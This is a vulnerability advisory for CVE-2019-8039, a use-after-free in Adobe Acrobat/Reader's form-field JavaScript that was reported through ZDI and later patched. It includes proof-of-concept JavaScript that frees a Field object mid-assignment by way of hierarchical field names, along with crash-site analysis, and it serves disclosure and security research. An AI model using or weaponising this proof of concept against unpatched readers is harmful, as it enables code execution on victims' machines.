CVE: CVE-2019-8039

Tested Versions:

  • Adobe Acrobat and Reader versions 2019.012.20035 and earlier

Product URL(s):

Description of the vulnerability

Adobe Acrobat is a family of application software and Web services developed by Adobe Inc. to view, create, manipulate, print and manage files in Portable Document Format (PDF). The basic Acrobat Reader, available for several desktop and mobile platforms, is freeware; it supports viewing, printing and annotating of PDF files. The commercial proprietary Acrobat, available for Microsoft Windows and macOS only, can also create, edit, convert, digitally sign, encrypt, export and publish PDF files.

There is an use-after-free bug when Adobe Reader/Acrobat DC executes JavaScript relating to form fields.

The idea is to have a Document.Field object freed (in a callback) when it is in use. We start off with some code that attempts to do this:

var f = this.addField("Field", "text", 0, [0, 0, 100, 100]); // Create a field object

a = {}
t = this
a.toString = function() {
	t.removeField("Field") // Try to free the field object
	return "$"
}

// When Format event happens AFNumber_Format is called. 
// Its fith argument accepts string so `a.toString` is called.
f.setAction("Format",'AFNumber_Format(2, 1, 1, 1, a, 1);');

undefined
NotAllowedError: Security settings prevent access to this property or method.
Doc.removeField:6:Field Field:Format

We see that NotAllowedError exception is raised, indicating that there are some checks inside this.removeField. Nevertheless, this code does seem to work partially.

var f = this.addField("Field", "text", 0, [0, 0, 100, 100]); //Create the first field
var f2  = this.addField("Field2", "text", 0, [0+100, 0, 100+100, 100]); //Create the second field

a = {}
t = this
a.toString = function() {
	t.removeField("Field2") //Instead of remove "Field" we remove "Field2"
	return "$"
}

f.setAction("Format",'AFNumber_Format(2, 1, 1, 1, a, 1);');

The second field is successfully removed. My conclusion is that the check inside this.removeField is based on field’s name. This led me to my final test.

var f = this.addField("Field", "text", 0, [0, 0, 100, 100]); //Create the first field
var f2 = this.addField("textField", "text", 0 , [20+200, 100, 100+200, 20]); //Create the second field

i = 0
a = {}
t = this
a.toString = function() {
	f2.value = 444 //We trigger "textField" Format event
	return "$"
}

f2.setAction("Format", "i+=1; if (i==2) t.removeField('Field')") //Remove "Field" here.
f.setAction("Format",'AFNumber_Format(2, 1, 1, 1, a, 1);');

When page heap is enabled the code above will crash Adobe Reader DC. The program tries to access an freed CTextField object. This vulnerability was described in previous report.

However, using the Form Field Hierarchies naming style, it is also possible to trigger a crash. The proof-of-concept looks like this:

f = this.addField("a.1", "text", 0, [0+200, 0, 55+200, 50]);
t = this
A = {}
A.toString = function() {
	t.removeField('a') // <= will remove "a.1; a.2; a.abcd; etc"
	return 'owned'
}
f.value = A

Note the use of the "dotted" names that denote hierarchy.

Vulnerability Analysis

The check inside document.removeField did not account for the possible use of Form Field Hierarchies naming style. This allows us to remove the Field object in the middle of an property assignment.

Using different property names of Field object will result in crashes at different locations. In case of the above code, it crashes at at AcroForm+0022A270 when trying to cast a CPDField object into CChoiceBasedField. At AcroForm+0022A32D, there is an indrect call to dword ptr [eax+38h], where eax points to the freed memory region.

With proper heap manipulation this can lead to code execution, although only within the sandboxed context.

timeline:

  • 2019-06-20 Vulnerability reported to vendor via ZDI
  • 2019-08-19 Coordinated public release of advisory

Vendor Response

The vendor has acknowledged the issue and released an update to address it.

This issue is covered in the vendor’s Security bulletin APSB19-41.